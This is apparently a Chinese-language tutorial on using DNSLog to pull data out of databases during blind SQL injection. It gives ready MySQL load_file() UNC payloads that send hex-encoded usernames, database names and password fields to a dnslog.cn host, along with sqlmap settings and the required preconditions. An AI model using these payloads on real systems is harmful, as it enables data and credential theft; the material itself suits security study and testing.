dnslog是利用dns出站请求常被放行的特点,在盲注中建立数据回传通道;适用于无回显、waf严格但目标可发dns请求的场景,核心依赖mysql+windows+secure_file_priv=''+file权限+hex编码域名。

DNSLog 不是绕过防火墙的“万能钥匙”,而是利用出站 DNS 请求常被放行这一事实,在盲注场景下建立一条可控的数据回传通道。 它不能解决所有盲注问题,但当你面对无回显、WAF 严格过滤、且目标服务器能发 DNS 请求时,它是最直接有效的外带手段之一。
为什么 DNS 查询能穿透大多数防火墙
绝大多数企业防火墙默认允许内网主机发起 DNS 查询(UDP 53 端口),因为这是系统基础服务;而对 HTTP 出站、文件读取、命令执行等行为则有严格策略。DNSLog 正是卡在这个策略缝隙里:它不依赖 Web 响应体,也不触发数据库报错或 sleep,只让数据库“悄悄”发出一个域名解析请求。
- 关键前提是目标数据库服务进程能向外发起 DNS 解析(即网络出口未禁 UDP 53)
- Windows 环境更可靠——
load_file()支持 UNC 路径(\\xxx.dnslog.cn\a.txt),MySQL 会主动尝试解析该域名 - Linux 下 MySQL 无法用
load_file()触发 DNS 请求,除非配合其他函数如sys_exec()(需高权限且极少见) - 不是所有 DBMS 都支持——MySQL 是主力,PostgreSQL 可用
dblink_connect(),MSSQL 用xp_dirtree或OPENROWSET
MySQL + load_file() 的实际 payload 写法
核心是把要泄露的数据拼进一个合法域名,再用 load_file() 强制触发 UNC 解析。注意两点:一是 Windows 路径分隔符需双反斜杠转义,二是特殊字符(如 @、.、/)必须编码,否则 DNS 解析失败。
免费 DNS 与邮件安全分析(IntoDNS.ai):包括 DNSSEC、SPF、DKIM、DMARC、MTA-STS、BIMI、SMTP STARTTLS、FCrDNS、黑名单、发件人要求及报告。
- 泄露当前用户:
load_file(concat('\\', hex(user()), '.q5i9by.dnslog.cn\abc.txt')) - 泄露数据库名:
load_file(concat('\\', hex(database()), '.q5i9by.dnslog.cn\x.txt')) - 泄露表中某字段值(含特殊字符):
load_file(concat('\\', hex((select password from users limit 1)), '.q5i9by.dnslog.cn\y.txt')) - 必须确保
secure_file_priv为空(''),否则load_file()拒绝加载远程路径
sqlmap 自动化配合 DNSLog 的注意事项
sqlmap 的 --dns-domain 参数本质是批量构造上述 UNC 类型 payload,但它对环境有隐性要求,不是填个域名就能跑通。
- 必须使用
--technique=T(time-based)或--technique=E(error-based)以外的 OOB 技术,即指定--technique=U或直接靠--dns-domain触发 - 靶机 DNS 设置必须指向你可控的 DNS 服务器(比如自建 PowerDNS + ceye.io / dnslog.cn 子域名)
- sqlmap 默认用
LOAD_FILE+ UNC,所以仍受限于 Windows + MySQL +secure_file_priv='' - 常见失败原因:
ERROR: unable to resolve hostname—— 说明靶机根本没发 DNS 请求,先用ping xxx.dnslog.cn测试连通性
最容易被忽略的三个现实限制
很多人在靶机上试了几次没回显就放弃,其实卡在了非常具体的环节:
-
secure_file_priv是NULL而不是空字符串——此时load_file()根本不接受任何路径,包括 UNC,必须改配置重启 MySQL - 数据库用户没有 file 权限——
SHOW GRANTS;查看,缺失则无法调用load_file() - 域名用了下划线或大写字母——DNS 协议只允许小写字母、数字和短横线,
hex()是刚需,别省










